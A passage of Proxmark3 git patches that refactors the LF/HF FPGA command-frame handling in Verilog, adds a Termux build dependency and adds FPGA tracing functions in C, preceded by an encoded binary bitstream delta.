z;aL+|;JdL8gZ{jZc?M?;@M~{I4F@HlycWsG!z>u+{9V=chhti|g>=It%#K=0UQ=a} z0{n_0Y#7glhQ%xNBbv*{Ql{uJiprVizod36TzTGF3|qwRxMOonCcv*o;8$BQ^f~bp zLfXqkVbXE)AT>{5hX?r8NKeVtUi?tO78fG^QZ9d``utap*McqN7`7JU*C6T-=`ptR z0slH}ehzjXW%K70Y_Z^67+QX^8o#oM2WgoTx=|c69$bX{*Uj7?`|1KVQc%Bx{uB}E0b6q zsDtb(;gHuWFpMBjRrrM{=*Mwv`Rh+iWY3#jha+j7?-0NM4`I_P9Mr5L#}9dDE`Wfu zr6px#6cG#XD`m-4luh?lIQ|SsI)v%n?=GpvFU=<8fJW9K&SvANtQ*>cHV?yQR^yiq zzr}{RxYkCh1#4>ano^9%72sEjvmQK(I0SSxrwqOtSAbttc0(oan4Wm{u!3JN(DU}P z6xeYWHo$VG$t!?gu$karj?yo#Kiny!d|H|7H&ohdF-dQLC2uVXHDhp}U?mbF%$;ZR zPH2P91HT4rEEl<`1qJ1FfDUmM7$#y6FbT}R)VBu;jqTnRz_;r(iU5LG)xPrHDvJ9S&0O{y6yz3z@JB3|>S_#@`DYEb9za}+gj${k7truuWHjhKN z3_#Y*piuDaD)1}GVZ%81;GQ4aiKoKLLS(-VA{GIcspaY6`VH$>zt!!|eO*5RgTMMo z1b(NG2>WXuU~x{0+o__P-g_BN!wzLB}NWPU;%6}U6xW%SwCFT@Xx16mGC+32llautT- z`^Nrzy!$s2nQ%^zS+BVrGCZswm(QgXkOlmUEx&K#R+WXRBr;+%|~I)(sFdjShta|5v)A7mb>;c52n->^FX{yKMF#Sd+H1pF&r#lJXg zc!%>LYwf7PXOm$Zj+t+&LVEqAw^w)9Fa)S@=(ym*iH7VSv|4Y{ffUA7#xDX|A%xAa zWgxE3L@c533qnwT$QAzgIw8id%|^3R*C%#)m}`ln<@h1v7wR{%z%Nx`$w5@ccZ~g| zs`w#wqyV*}beIxOLzDhZ$vuoS|FU`Ps6RA)wx#gPL5;^od3Lzd!N2;Ex5vEuH-J{a zFMHbTM*ZR7B!P$-n4b!M(Zlv0Mym-Ejw@&vy+U8i+?Q4O#h(KIawv~i#!})i!BMo} zC^C@Q85ocwp6=x4S!mOoGgAWf^Ne5p;-}2W2>9je*DzgXoJlXUk$wei4Xw^aHleKd zxy{S(1%4e77JtjcT`^Pi=s+ajQua6IjCoFSfL{*k0WQb`_VW`hzjU}TJMzysbB!Aw zaCjrm`t_&r$!?$0uQO?nU@fnVb^o$Jox$>Cm`+eqWnyjzN> zw;5jq|BxNU2|DCr;qn#!)e5!R;mtG053v?D+$TQApd+7YKjtsQ2ReA+H!1rf>7YHO;o}LzJS|~phy~P|J`L_KXuRjy? zf86_CGEa+@o~UD_sA>6riWIERqE^iVG8=mp_@#Zs^AElIqdNL#yp4GSpx(xb zFVcngElHn}`)En3ez*Q96=s-^6}i*Dt1N&}kmQ#t!(`y9o93DIELyUGl?*TnWE#X8e#QjdrPAeZ{}>`fI&P zI9SPlA$}-V=YV?eHiL_ap5KLx*pzOS@heLRYpnU8^U*%*pFI7VPHj%``LFqZ;>|M< zgC2C+Eb~V3-^x08Lg80znJ_&4vRS{f@$tH=M6#@3rv&?l!0wNG>pr}2h)z45#c-=0 zD%-IOgnMb&9xm~|CFy6-6sXlM{b%Hl3kR7UWe>+a{nD&6sIyw`sPzK>Vw;J`cCK57 z`%yTduyVloA8DM=m1Z92n|ynC%J`1cUNZANInS4nHBsVHQg|Q%^*BY_O|*e`U)C>D zJ2PfoX3%{e7K~XCN*I?P-yrDM5rY3Cb*>LrT}6F3?m~&@ar|28R}S}Y_~A9*404}U zBxkZEz_01tm|UF*pI+OMydYP*IKTXY#W!*=|0?6xMarbx&Dfjuwmc-4o-s4xB>RVU zC{xLQakMb54TE-N0ktlIPGh)jLvh9+eu(-FfokWxK;TXy2?&Q%9*X@5t&`>a7jgZD z)0GJ4=iBBv+3Cgyfjj4&$0j!95cg9!SkfLfFJ!xicINdn4tzfsSJM3w7V?@a;VcFC zwS#a@(*oZ?x|0q5P$=d+qpft~xk~*;r`YbG8u8l!&O{?(hDeBI}a_?K^JZI%) zo2@6si1DzDj921^FVfTi^ozJ`zE@o_G%2TP4uW!nLHuykVJjMjzoGC8M2v+-elp_Y zm+?o7y=xD#f3`a9o03`4YHXzyY@aLqi?*ku4z5OQHMd6FQGeKTHQk}TkF9!zf9>I1 zQmiq}DWv!ftNQ8}fUqoeVtwWKhRT0w30joK+8hxmo0oil6kQ7wTd6-B7tpUGsA@R# zjbCWUe_1+WdRMIkqLuM$cg-1uYy5Gk^Ix3*LSO;odT*J3StTQ*+1Ot<*u?xRCSeMO zehD7?u*H;<(0PnqVN*RgV+FsqI*e9`uWmJ>YcMUX+P7$la|5`ix9+)x zqnK6r30d73ecIgbtj{vf1)|N(2KOIod;M~h7RF@&wDKiTMG2u&zabgc!=xka#R9gw zUq3%T;9sl6?OGhRu096Sz4UI7tm8IU)SEdR&T_Ej!M`@(M2521$bSvQos5+}EWf11 zU8;&7F0$c<6~ML@jchUFj@c)sw69o8T|5c!Yp!6}LfWfK{y?_n!Z*$TN5Kcds^f?E zb0+-+yxdpqbM$UGCo9HO>>W?io`2}nARZ+TybiQ_H-zQ6ctOX3DSl5?{oy_4?M=-i z$^OPg&K9~_n!Vx*MGVoOfPZBj4t>B}bkdhiP(@etp^fUZ&%ZVSzi{4a68aSf++hQd zNZJR?_(`*?lK(;+Nh~j#`RHo%$1>`KbD^72rQBJ7o%g?$MS&6ACl{kQC0|K(-ifPk z{tqG8=puVkB85%TI&M5GmX83fIuTy$lIu(QN_kOR?uI8T`L9i;)S`!z`Dna8)6;%v z*k1c*^f>rML%zblVo}r|y0LtHyl!g-hpP51RtLerAfbb5O-;iT8N=qWbEyFCw9MB! z;3<3DI`A)zmmU0zt=7HnqWqjrB!9cKaDHtJ;H!9ws|WaXMnP?88n+Q30nrag@*VpC zzkW$vt`olv<)(qZ!4>sj;sO79No*a$X_U+jQN$11OCV6Vkptrb3g$mhRsY_MeV zaR9$R@Hco|U$4|3_96#lyLF9N3x8bjH#FPL*k$~(wRh1SsHdoV8UKotN?tCB>o+DE zO>a$;ra>dI#QFv}ndI}YF*@Sx&xY;60KayD`F8J^JE^}=UZ$VWU!wviQVJD4{Ti+r zhZRjopq?K$hBAt05T!;0FTk%|w3)7U8dAbS%1`mH6BcK{8%h=Yx|{xf;5+tZ$=dze zH$DFK0y^JZ%518_FSt+lBb!{m1GFpdhE#2s8KpYA!oR*vuV|~Xb94G`1cwy=nxN+j z%d_EB1;0u?yXn1Vjf;J76KoyAhNUFNgtrs$qXz!9^Su{30$f!nGSWgQ$9IiivuFcDR-L!+JYSd$Q1Olf3w$ z;6nO6vcA+4)E|BXrh9KwGlkb{yvIkFSxWQy zWu=2f`(RUxg(wXHtMFqlI3fn9HD@-74`Ikkzg)`O0J1C!T@u^|_aDl`*8ZXJywF_7 zw`0%Ic^5a>LEpVKW&U-p7v9C*%DB`3OOYH-tf==e|N1H6c*`W}H+=pz$#o8RQmH@e zwKK@a)enjL%l2^6+6%sniydso;{M2*IDIu7EtuJK#b%;0ye4+K9ByM8VFE{^CAqox zm&e6-{O)l8&_d%T#P>)2n6)5Zv127d{Fz|cNbln&h#%H6+uGphC(8EF417|Lou|or~Gkvj@C$>u90hV zeneGq%hrq~>qAq47S!*Lf1;`1){SWrLT zPPogWl=;h^7Yy9RlndRK?w}pA#jeJ$Fszn}7LLg`FtdmsnpiK`Ln{>E*Q3S-_&Xb( z_@o++6PX-5;iwZ~6BYh7My|wr@@pBtI&TPf47Sob_P%5VzwQD5YNn)vKfb_+D3krd z6K2$Jh#`5e9V>|C+EDt>ayYhpE#b~#8#i)P_!kY@_ET8OhUURt@p0u)4Z=5Gm*}ak z-=IW3yjTy>NDqi%4g?bwCNub#OVhpBhwk>tTJU9BYUq=Q$8$wTg@26`PAlWsSIgoI z4uU!1uj&Rf1t*dXmE(uTMq}$}yOZ247R#-!jr)5qYXyN)NiMr`e=nHSDA-mf8}k&F zX$1>T2sXT|Un`M9LM=K<6D=J0P2v7|ZlkhGzJ7815ThW_3LD!7*Qup-=3n5sP6fZl z1)KM!*5#uR9&?r!=a1&ja{lYC3Vw}Z6bUB`{K5{}?_jwZ$P^>1@GrntREx<*TPeQj z*7`z_|1!bjHe(b(q6H9|S*XR>?UY%?zjpCRljdZ4g$7{+lVCVtnjoPS{x#0~Fd5!8 zzg2of3_Q;7Po;h%dUouwp2$55ZDl+&@cva!mZ3 z9y=V_6?#>iw;wAkJy5CN@Q#m#pAL1<(9nU_@Cg(KaQ$KA^YA?T*>0%w%T{wC^XFob z++w37-VuwO2d%bI6w>>cLWnS8YmHznI-7Uaw2UHo=Y#K=`T)NQB;8yh78aNT2lsCz zDC``t;-jH`75v&k1-Ap-L2sdg)6s;D)J+%N?nzj`0KagRoYi$aa&SIiOLi4^l732} zdTmDi;S@d3p{l7t#Nv|OCnMhm5%akW^(u@TfPNv)HZQb8yf})Be3yl|P{B*|RPYOD zVPoybLVW)`e#NB%1Yk>I8~b->8nM;Frr4gt zyqHzzMuYqpkLz)_nt$bJs;6T_aq8ebKLX<8%>jNjI|urr(a>h`FVfG)O#@i>xS_un z`#oD%s&TNRfXf=JkG}+C^finTOCD{Nig5J9B`EV18bMrG+Px z(}VNNDn8F9&aZvy7cWSTW`L0$^?WwYf0h4!3IxR&U!dDD3UiZ~1YqOG%YVgf(-c8Y z6H(#};sAD~eqP$Fy?BP2o0{k*mEnlc8 zR>CVMX&*Eu`{#2j;68>6@=Y0MJf@!P90sqR=w9RE3ddVrT zsfS-x{L8c-b{A(+e|S9LUmkvyL=Zo8{L^Uz@;^pkFz`WeF-ihWobYec)dr;9p@| zg{pEQxT9lSs2r;lId3gY(1RQSzbxS@P8~`Jj&H=6qop-oF2%o|p=)^w*r2JkC}ICV zzp}d2`?v|`zdSD&^u&j)NiUFC)Hl_tJ{Oc5mhGLppkpJT0q;S>Mc@LmDujeDR zA3yB#{{EMXa?=SWswD=p@_QCwg7Fjl{jY=Q&yVe>yPf&qc7gr`=a(mt|H8Pm5Tz%2 z?!=I>7Mx@K24|Oi{Nnn<2j!=2RkrbEKmY`e#a;O#t*X>-_<#S))+c27{wVZkg=-`# z_{I9=sTI9pDFOSCt{p`jJBT0h6W|xD4VxV|yb1(d{i}V0K7R52hg|X$>leR;_y*S> zmVLj^iqoDQ^Xd>AcBSU!!7{x_W9+1tfKNJzUy<|=CMI2IxcL8<-@2i4eUZ`rfZcG1w?YQ8A zy<4mDUmJ-_p4QD1i_NV~NTg=r2>JC1rAqve+W^{H1q99kjWbVin1ht{3-yN{1mGem z2r=N7*QPN&;^~)HzrkU#ke!`^qX^hy{Q|#8SLMIZXZTTldU5YBjMWbFl-${?_#)p* z{>z89VyHvB%8iS9x%f?g$@33Y{XD6#VHDSHuz>rc{J#k1=f9GO&!f*M2?KuJ>vdi| zabP8?>JQ6fH@D(%$Dr}JnlT7L{!8`erpTSZua}7-Ny8JIV%wQT{h_i6s6XVj;G0iQ z%Ci}6vleYoe1a!c^&1t~!u()OQ)*2i1o^L+2U{sIiD25&Jur+D^e`$YAXJ_IQafrz z`ZbUczKBC8jblX%>NgZ~ISl-IGwmG%5hr+ub3N@u8Nby1^Bgw(DdI@0S@`eHufDbV zl{r=CzXJU_0o&r~mpq?RwYz@(eEIKxfwlRxOT`Z}-K7mv^NRuh;;)Y)o!4orOOY0N*f1eRmBh0noz7x5h~Y@|nX44h=V=5sk&gqSmGO)F4BF-5R|?1iJ6~0QsPL=ghk3ha z2$N<070|BPf{k%`RE)@d)6^wMYFay7Q z+7b`FjCep;Fp|fmIM1d8^3~I1;T9n3Lqd5X5rUc z^!YVUzpDR!B^&%1eXinPs&cPtIKj9o@k7%`s{pnFp;EuW`_KVe1ziniMy3J*0bW$$*BN;=!`2IB{uKzXc>2ZnAL7&@AOJS=QX}Kz7r~#$HF`75U|=EL z3Vs2S-nu_k`1Q7JeEhP3UkIp1`Qw&U{ki}PP^+h@0eUw|z)@>X_!qE`7@ z^yC^Hmpxe57`W`AENGr^g}Y4IReG|w<}=zSoZqt+j#dfCui%NhOxbXfLbGMkZbYPe zmLP5KJ(9E(68P_;8W{*R-jjvpHcuvNKC68~{+_+CP!T>ti{!`b;9E~Rl%gi8B~4Zd zn)jsK=cKAX=8NRY0$c$NnKs*!va|W#Zjqw^Pk1MQwls@Jz zOw_FRgnkIWM~*u$VK~9K$btKBkOmO)1k-ZJGUur>9O)agFmJ-TO$R8K>DoMw-Ov4jC zVlEJxAwOVSNu%86$?NqG%VVjln;NQx0rjN(ttYRq`OLs4Qoq-<@Tr>5NKcsKKXLu_ zy6$@YGx9|0nx=-Q0zu=(c;e3U=J2}e_xLX~J~I&JH@ovZ{UR|-t0-~1pOW@bd~T?vLF!e>EK(}^$;&Xt%>c)g4($$ ztQVfha-Vw)UcnyIN-IGvoV~e;pH$l5PYw0iH<}9t3yF_~7xrk*;T!o0mB*!PeeR8k zh2fgDRf4?HUTD@hp6bA(ryjDD`m(@^W|E^>vewqhL%*&^kd!tDyIIKDF;CzpU_%x-qTXE>F~!Bzq@1MeGo451y?oo|ec}+ujQhCpHee-TKKBg^n0$~k5xeiat z-%=s#^a6V`FMeNop}jfT+!MZ$pOl+Wy(T2?DvBANK)8tmPl%rcZNmCT>6m+UqG7!f zniJ;w`5)DW_(|nk6$mJU!W>_4%P(qaNZn*dl z7tdULbG8t)`Hu+kABR>x@oN6Stt^Z@TP+0te0k^k=jXpMI`+B}mRAcwoA-a=LqGk} zgX6EBW#O)C#_u@${@apI&EGeE>Mw#en&@}#vEFOc9lk_ZQ0JB#8C7t62|x#J-pXz$ zq;4`~`8`wxqqBh3Z)6&u)fUO$vF8YBzbUbG-$&@6aOcpuKd zx1X=!; z)7v+10Z@3}TL|U#s`ACE*Bstic`fKtTn+%bg3HczAJjkU94lVEqG7h+l*g5v1pxsl zxL%)$7>*muxI9BxQ*QE(;_^&5E(7%c3cfWPj>}Kp4BE`Vzi4kiobA9F}FQ^tu}=8)ZNdV-jzo|KzZ-lG{|c6pWW zd&zq|pHFQmqq5t^6pDE-ssc38<25&W%3IO@mg%{Ts*HSKiA@<|MQ+`g2-ToU=+BWx>VFt0yBKVpP4y+7k0$h|;<0_fRk@61snL zw=n#9_4|YW;!*N&t-)4*o`>+nD32U1$_5saZu|dG_xuAaW%-H!i>j?qe&YXkXJ_yr zA@SK6EhCZOm%h;LE_N<`cIp2%>0P-?pUwK;u~-<>^;SRK7cX9P`4@rkp7N8RdGM=1 zSbFiN-oN@aZGy)CSK3tRa-h_{5cCHttPy#tH$$*1x;$gAs;w1h_rL$1>g6r(v0$?y zuEsj(?|9Zhh;Px#-<#@d)w*0(VMPkxMwe&3(*K%Cf#%K@f;KaBd8Ydow3$6W!IN^E ziY~ilr4EGIx*YuTK=9vFt;@3}sc$*}s=L2us=r_Ok%?$iz27WUGznOvG%)oDE z;5Rey|Kk}@{t_G}_)AXpH0b2IVY4cgQ~k^TxQy4}!YoRJ|KtDUEn5oBNy`P55Y}5Z z`VTxrfA~HB>Hg4vvH4N`NxU<|aue^+i{63#^G=QHo!UQmkBj;FPwT}ywSV5J`S~yT zo_ApX{Ko$LdZYMG&Cffvf7q=4SF%6v)cm|t_6Pm>4SxNaE&ZR`KZxQZ`1|o!5+w28 ggs8q#_iMft{K{`%lb{^`JFYswe;=--rTmuvADgvpBLDyZ diff --git a/fpga/fpga_lf.v b/fpga/fpga_lf.v index 1df5394b6..da681321c 100644 --- a/fpga/fpga_lf.v +++ b/fpga/fpga_lf.v @@ -18,7 +18,7 @@ `define FPGA_MAJOR_MODE_LF_PASSTHRU 2 `define FPGA_MAJOR_MODE_LF_ADC 3 -// Options for LF_ADC +// Options for LF_READER `define FPGA_LF_ADC_READER_FIELD 1 // Options for LF_EDGE_DETECT @@ -50,32 +50,106 @@ module fpga_lf( // to the configuration bits, for use below. //----------------------------------------------------------------------------- +/* + Attempt to write up how its hooked up. Iceman 2020. + + Communication between ARM / FPGA is done inside armsrc/fpgaloader.c see: function FpgaSendCommand() + Send 16 bit command / data pair to FPGA + The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0 + where + C is 4bit command + D is 12bit data + + shift_reg receive this 16bit frame + + LF command + ---------- + shift_reg[15:12] == 4bit command + LF has three commands (FPGA_CMD_SET_CONFREG, FPGA_CMD_SET_DIVISOR, FPGA_CMD_SET_EDGE_DETECT_THRESHOLD) + Current commands uses only 2bits. We have room for up to 4bits of commands total (7). + + LF data + ------- + shift_reg[11:0] == 12bit data + lf data is divided into MAJOR MODES and configuration values. + + The major modes uses 3bits (0,1,2,3,7 | 000, 001, 010, 011, 111) + 000 FPGA_MAJOR_MODE_LF_READER = Act as LF reader (modulate) + 001 FPGA_MAJOR_MODE_LF_EDGE_DETECT = Simulate LF + 010 FPGA_MAJOR_MODE_LF_PASSTHRU = Passthrough mode, CROSS_LO line connected to SSP_DIN. SSP_DOUT logic level controls if we modulate / listening + 011 FPGA_MAJOR_MODE_LF_ADC = refactor hitag2, clear ADC sampling + 111 FPGA_MAJOR_MODE_OFF = turn off sampling. + + Each one of this major modes can have options. Currently these two major modes uses options. + - FPGA_MAJOR_MODE_LF_READER + - FPGA_MAJOR_MODE_LF_EDGE_DETECT + + FPGA_MAJOR_MODE_LF_READER + ------------------------------------- + lf_field = 1bit (FPGA_LF_ADC_READER_FIELD) + + You can send FPGA_CMD_SET_DIVISOR to set with FREQUENCY the fpga should sample at + divisor = 8bits shift_reg[7:0] + + FPGA_MAJOR_MODE_LF_EDGE_DETECT + ------------------------------------------ + lf_ed_toggle_mode = 1bits + lf_ed_threshold = 8bits threshold defaults to 127 + + You can send FPGA_CMD_SET_EDGE_DETECT_THRESHOLD to set a custom threshold + lf_ed_threshold = 8bits threshold value. + + conf_word 12bits + conf_word[7:5] = 3bit major mode. + conf_word[0] = 1bit lf_field + conf_word[1] = 1bit lf_ed_toggle_mode + conf_word[7:0] = 8bit divisor + conf_word[7:0] = 8bit threshold + +-----+--------- frame layout -------------------- +bit | 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0 +-----+------------------------------------------- +cmd | x x x x +major| x x x +opt | x x +divi | x x x x x x x x +thres| x x x x x x x x +-----+------------------------------------------- +*/ + reg [15:0] shift_reg; reg [7:0] divisor; -reg [8:0] conf_word; - -// threshold edge detect reg [7:0] lf_ed_threshold; +reg [11:0] conf_word; +wire [2:0] major_mode = conf_word[7:5]; +wire lf_field = conf_word[0]; +wire lf_ed_toggle_mode = conf_word[1]; + +// Handles cmd / data frame from ARM always @(posedge ncs) begin + // 4 bit command case (shift_reg[15:12]) `FPGA_CMD_SET_CONFREG: begin - conf_word <= shift_reg[8:0]; - if (shift_reg[8:6] == `FPGA_MAJOR_MODE_LF_EDGE_DETECT) + // 12 bit data + conf_word <= shift_reg[11:0]; + if (shift_reg[7:5] == `FPGA_MAJOR_MODE_LF_EDGE_DETECT) begin - lf_ed_threshold <= 127; // default threshold + lf_ed_threshold <= 127; // default threshold end end + `FPGA_CMD_SET_DIVISOR: - divisor <= shift_reg[7:0]; + divisor <= shift_reg[7:0]; // 8bits + `FPGA_CMD_SET_EDGE_DETECT_THRESHOLD: - lf_ed_threshold <= shift_reg[7:0]; + lf_ed_threshold <= shift_reg[7:0]; // 8 bits endcase end -// +// Receive 16bits of data from ARM here. always @(posedge spck) begin if (~ncs) @@ -85,12 +159,6 @@ begin end end -wire [2:0] major_mode = conf_word[8:6]; - -// For the low-frequency configuration: -wire lf_field = conf_word[0]; -wire lf_ed_toggle_mode = conf_word[1]; // for lo_edge_detect - //----------------------------------------------------------------------------- // And then we instantiate the modules corresponding to each of the FPGA's // major modes, and use muxes to connect the outputs of the active mode to @@ -142,7 +210,9 @@ lo_adc la( // 001 -- LF edge detect (generic) // 010 -- LF passthrough // 011 -- LF ADC (read/write) -// 110 -- FPGA_MAJOR_MODE_OFF_LF (rdv40 specific) +// 100 -- unused +// 101 -- unused +// 110 -- unused // 111 -- FPGA_MAJOR_MODE_OFF // 000 001 010 011 100 101 110 111 mux8 mux_ssp_clk (major_mode, ssp_clk, lr_ssp_clk, le_ssp_clk, 1'b0, la_ssp_clk, 1'b0, 1'b0, 1'b0, 1'b0); From e4bd3544d555126157f70b292a9ec7ef248b5090 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 12 Jan 2020 00:31:08 +0100 Subject: [PATCH 286/418] style --- fpga/fpga_hf.v | 34 ++++++++++++++++++++-------------- 1 file changed, 20 insertions(+), 14 deletions(-) diff --git a/fpga/fpga_hf.v b/fpga/fpga_hf.v index 0dc26b6ec..e3ff6dafd 100644 --- a/fpga/fpga_hf.v +++ b/fpga/fpga_hf.v @@ -13,6 +13,8 @@ // iZsh , June 2014 //----------------------------------------------------------------------------- +`define FPGA_CMD_SET_CONFREG 1 + `include "hi_read_tx.v" `include "hi_read_rx_xcorr.v" `include "hi_simulate.v" @@ -48,7 +50,10 @@ reg [7:0] conf_word; always @(posedge ncs) begin case(shift_reg[15:12]) - 4'b0001: conf_word <= shift_reg[7:0]; // FPGA_CMD_SET_CONFREG + `FPGA_CMD_SET_CONFREG: + begin + conf_word <= shift_reg[7:0]; + end endcase end @@ -61,8 +66,7 @@ begin end end -wire [2:0] major_mode; -assign major_mode = conf_word[7:5]; +wire [2:0] major_mode = conf_word[7:5]; // For the high-frequency transmit configuration: modulation depth, either // 100% (just quite driving antenna, steady LOW), or shallower (tri-state @@ -72,8 +76,10 @@ wire hi_read_tx_shallow_modulation = conf_word[0]; // For the high-frequency receive correlator: frequency against which to // correlate. wire hi_read_rx_xcorr_848 = conf_word[0]; + // and whether to drive the coil (reader) or just short it (snooper) wire hi_read_rx_xcorr_snoop = conf_word[1]; + // divide subcarrier frequency by 4 wire hi_read_rx_xcorr_quarter = conf_word[2]; @@ -157,17 +163,17 @@ hi_flite hfl( // 110 -- none // 111 -- everything off -mux8 mux_ssp_clk (major_mode, ssp_clk, ht_ssp_clk, hrxc_ssp_clk, hs_ssp_clk, hisn_ssp_clk, he_ssp_clk, hfl_ssp_clk, 1'b0, 1'b0); -mux8 mux_ssp_din (major_mode, ssp_din, ht_ssp_din, hrxc_ssp_din, hs_ssp_din, hisn_ssp_din, he_ssp_din, hfl_ssp_din, 1'b0, 1'b0); -mux8 mux_ssp_frame (major_mode, ssp_frame, ht_ssp_frame, hrxc_ssp_frame, hs_ssp_frame, hisn_ssp_frame, he_ssp_frame, hfl_ssp_frame, 1'b0, 1'b0); -mux8 mux_pwr_oe1 (major_mode, pwr_oe1, ht_pwr_oe1, hrxc_pwr_oe1, hs_pwr_oe1, hisn_pwr_oe1, he_pwr_oe1, hfl_pwr_oe1, 1'b0, 1'b0); -mux8 mux_pwr_oe2 (major_mode, pwr_oe2, ht_pwr_oe2, hrxc_pwr_oe2, hs_pwr_oe2, hisn_pwr_oe2, he_pwr_oe2, hfl_pwr_oe2, 1'b0, 1'b0); -mux8 mux_pwr_oe3 (major_mode, pwr_oe3, ht_pwr_oe3, hrxc_pwr_oe3, hs_pwr_oe3, hisn_pwr_oe3, he_pwr_oe3, hfl_pwr_oe3, 1'b0, 1'b0); -mux8 mux_pwr_oe4 (major_mode, pwr_oe4, ht_pwr_oe4, hrxc_pwr_oe4, hs_pwr_oe4, hisn_pwr_oe4, he_pwr_oe4, hfl_pwr_oe4, 1'b0, 1'b0); -mux8 mux_pwr_lo (major_mode, pwr_lo, ht_pwr_lo, hrxc_pwr_lo, hs_pwr_lo, hisn_pwr_lo, he_pwr_lo, hfl_pwr_lo, 1'b0, 1'b0); -mux8 mux_pwr_hi (major_mode, pwr_hi, ht_pwr_hi, hrxc_pwr_hi, hs_pwr_hi, hisn_pwr_hi, he_pwr_hi, hfl_pwr_hi, 1'b0, 1'b0); -mux8 mux_adc_clk (major_mode, adc_clk, ht_adc_clk, hrxc_adc_clk, hs_adc_clk, hisn_adc_clk, he_adc_clk, hfl_adc_clk, 1'b0, 1'b0); -mux8 mux_dbg (major_mode, dbg, ht_dbg, hrxc_dbg, hs_dbg, hisn_dbg, he_dbg, hfl_dbg, 1'b0, 1'b0); +mux8 mux_ssp_clk (major_mode, ssp_clk, ht_ssp_clk, hrxc_ssp_clk, hs_ssp_clk, hisn_ssp_clk, he_ssp_clk, hfl_ssp_clk, 1'b0, 1'b0); +mux8 mux_ssp_din (major_mode, ssp_din, ht_ssp_din, hrxc_ssp_din, hs_ssp_din, hisn_ssp_din, he_ssp_din, hfl_ssp_din, 1'b0, 1'b0); +mux8 mux_ssp_frame (major_mode, ssp_frame, ht_ssp_frame, hrxc_ssp_frame, hs_ssp_frame, hisn_ssp_frame, he_ssp_frame, hfl_ssp_frame, 1'b0, 1'b0); +mux8 mux_pwr_oe1 (major_mode, pwr_oe1, ht_pwr_oe1, hrxc_pwr_oe1, hs_pwr_oe1, hisn_pwr_oe1, he_pwr_oe1, hfl_pwr_oe1, 1'b0, 1'b0); +mux8 mux_pwr_oe2 (major_mode, pwr_oe2, ht_pwr_oe2, hrxc_pwr_oe2, hs_pwr_oe2, hisn_pwr_oe2, he_pwr_oe2, hfl_pwr_oe2, 1'b0, 1'b0); +mux8 mux_pwr_oe3 (major_mode, pwr_oe3, ht_pwr_oe3, hrxc_pwr_oe3, hs_pwr_oe3, hisn_pwr_oe3, he_pwr_oe3, hfl_pwr_oe3, 1'b0, 1'b0); +mux8 mux_pwr_oe4 (major_mode, pwr_oe4, ht_pwr_oe4, hrxc_pwr_oe4, hs_pwr_oe4, hisn_pwr_oe4, he_pwr_oe4, hfl_pwr_oe4, 1'b0, 1'b0); +mux8 mux_pwr_lo (major_mode, pwr_lo, ht_pwr_lo, hrxc_pwr_lo, hs_pwr_lo, hisn_pwr_lo, he_pwr_lo, hfl_pwr_lo, 1'b0, 1'b0); +mux8 mux_pwr_hi (major_mode, pwr_hi, ht_pwr_hi, hrxc_pwr_hi, hs_pwr_hi, hisn_pwr_hi, he_pwr_hi, hfl_pwr_hi, 1'b0, 1'b0); +mux8 mux_adc_clk (major_mode, adc_clk, ht_adc_clk, hrxc_adc_clk, hs_adc_clk, hisn_adc_clk, he_adc_clk, hfl_adc_clk, 1'b0, 1'b0); +mux8 mux_dbg (major_mode, dbg, ht_dbg, hrxc_dbg, hs_dbg, hisn_dbg, he_dbg, hfl_dbg, 1'b0, 1'b0); // In all modes, let the ADC's outputs be enabled. assign adc_noe = 1'b0; From 0e96b8c8a28404e6090cdecbd02311175cbfc357 Mon Sep 17 00:00:00 2001 From: h4waii <30473690+h4waii@users.noreply.github.com> Date: Sun, 12 Jan 2020 13:46:20 +1300 Subject: [PATCH 287/418] Update termux_notes.md Add libsndfile dependency --- doc/termux_notes.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/termux_notes.md b/doc/termux_notes.md index d86ec7f08..2d2147513 100644 --- a/doc/termux_notes.md +++ b/doc/termux_notes.md @@ -33,7 +33,7 @@ ref : https://github.com/Proxmark/proxmark3/wiki/android 1. Install [Termux](https://play.google.com/store/apps/details?id=com.termux) and start it 2. Run the following commands: ``` -pkg install make clang clang++ readline libc++ git tsu +pkg install make clang clang++ readline libc++ git tsu libsndfile git clone https://github.com/RfidResearchGroup/proxmark3.git ``` ### Building Proxmark3 client From 2e37c04a1579153e8d4cd05932e994883ca5a013 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 12 Jan 2020 15:33:06 +0100 Subject: [PATCH 288/418] Add: 'hf plot' - implement function from offical repo (piwi) --- armsrc/fpgaloader.c | 19 +++++++- armsrc/fpgaloader.h | 8 ++-- fpga/Makefile | 2 +- fpga/fpga_hf.bit | Bin 42175 -> 42175 bytes fpga/fpga_hf.v | 108 +++++++++++++++++++++++++++++++++++++------- fpga/fpga_lf.bit | Bin 42175 -> 42175 bytes fpga/hi_get_trace.v | 0 7 files changed, 115 insertions(+), 22 deletions(-) mode change 100755 => 100644 fpga/hi_get_trace.v diff --git a/armsrc/fpgaloader.c b/armsrc/fpgaloader.c index 87213df96..9b7e83470 100644 --- a/armsrc/fpgaloader.c +++ b/armsrc/fpgaloader.c @@ -400,8 +400,10 @@ static int bitparse_find_section(int bitstream_version, char section_name, uint3 void FpgaDownloadAndGo(int bitstream_version) { // check whether or not the bitstream is already loaded - if (downloaded_bitstream == bitstream_version) + if (downloaded_bitstream == bitstream_version) { + FpgaEnableTracing(); return; + } // Send waiting time extension request as this will take a while send_wtx(1500); @@ -437,6 +439,8 @@ void FpgaDownloadAndGo(int bitstream_version) { // Send a 16 bit command/data pair to the FPGA. // The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0 // where C is the 4 bit command and D is the 12 bit data +// +// @params cmd and v gets or over eachother. Take careful note of overlapping bits. //----------------------------------------------------------------------------- void FpgaSendCommand(uint16_t cmd, uint16_t v) { SetupSpi(SPI_FPGA_MODE); @@ -449,10 +453,21 @@ void FpgaSendCommand(uint16_t cmd, uint16_t v) { // vs. clone vs. etc.). This is now a special case of FpgaSendCommand() to // avoid changing this function's occurence everywhere in the source code. //----------------------------------------------------------------------------- -void FpgaWriteConfWord(uint8_t v) { +void FpgaWriteConfWord(uint16_t v) { FpgaSendCommand(FPGA_CMD_SET_CONFREG, v); } +//----------------------------------------------------------------------------- +// enable/disable FPGA internal tracing +//----------------------------------------------------------------------------- +void FpgaEnableTracing(void) { + FpgaSendCommand(FPGA_CMD_TRACE_ENABLE, 1); +} + +void FpgaDisableTracing(void) { + FpgaSendCommand(FPGA_CMD_TRACE_ENABLE, 